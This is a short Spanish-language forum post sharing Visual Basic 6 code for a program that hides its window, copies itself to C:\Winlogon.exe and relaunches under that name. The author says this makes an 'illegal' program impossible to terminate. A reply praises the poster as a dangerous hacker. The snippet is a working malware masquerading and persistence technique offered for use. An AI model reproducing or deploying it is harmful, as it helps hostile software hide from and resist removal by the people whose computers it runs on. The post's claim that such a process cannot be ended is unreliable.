Autor
Este codigo iria en el Load del 1er from que se ejecuta, y lo que hace es copiar el ejecutable en otro directorio con el nombre 'Winlogon.exe' (con este nombre, el proceso no puede ser terminado
), luego se cierra y habre la nueva copia. De este modo nuestro programa 'no-legal' no puede ser terminado....Esper0 q les sea de utilidad
Código:
Private Sub Form_Load()
Me.Visible = False 'esconde el From de la pantalla
If App.PrevInstance = True Then 'evita que se ejecute 2 veces
End
End If
If App.EXEName <> "Winlogon" Then 'si el programa no se llama "Winlogon.exe" entonces
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Winlogon.exe" 'lo copiamos al disco 'C:' con ese nombre
DoEvents
Shell "C:\Winlogon.exe" 'y lo ejecutamos
DoEvents
End
Else 'en cambio, si se llama Winlogon.exe
'Ejecutamos el codigo normal de nuestro programa
End If
End Sub
NOTA: si vas a probar este ejemplo en tu pc, te conviene dejar el From visible y con un boton para finalizar el programa, ya que de otro modo va a ser imposible terminarlo (RESET xD)
esper0 que les sirva, y si no c entiende alg0 posteen (pero me parece q esta bien clarito
)salu2 !!!
G0nz4
En línea
Buenísimo!! tremendo aporte NYlOn.. ahora si que estas hecho un hacker de alta peligrosidad 
